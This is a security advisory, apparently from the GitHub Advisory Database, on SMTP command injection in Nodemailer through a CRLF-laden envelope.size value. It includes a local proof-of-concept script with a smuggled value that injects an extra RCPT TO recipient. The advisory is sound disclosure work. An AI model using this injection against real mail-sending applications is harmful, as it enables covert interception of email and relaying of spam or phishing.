Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: '[email protected]', to: '[email protected]', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: '[email protected]', to: ['[email protected]'], size: '100\r\nRCPT TO:<[email protected]>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<[email protected]> SIZE=100'); console.log(' C: RCPT TO:<[email protected]> <-- INJECTED'); console.log(' C: RCPT TO:<[email protected]>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<[email protected]> SIZE=100 C: RCPT TO:<[email protected]> C: RCPT TO:<[email protected]> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<[email protected]>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.

Source published

26 Mar 2026 22:26:46 UTC

Source modified

10 Sep 2026 03:50:38 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · LOW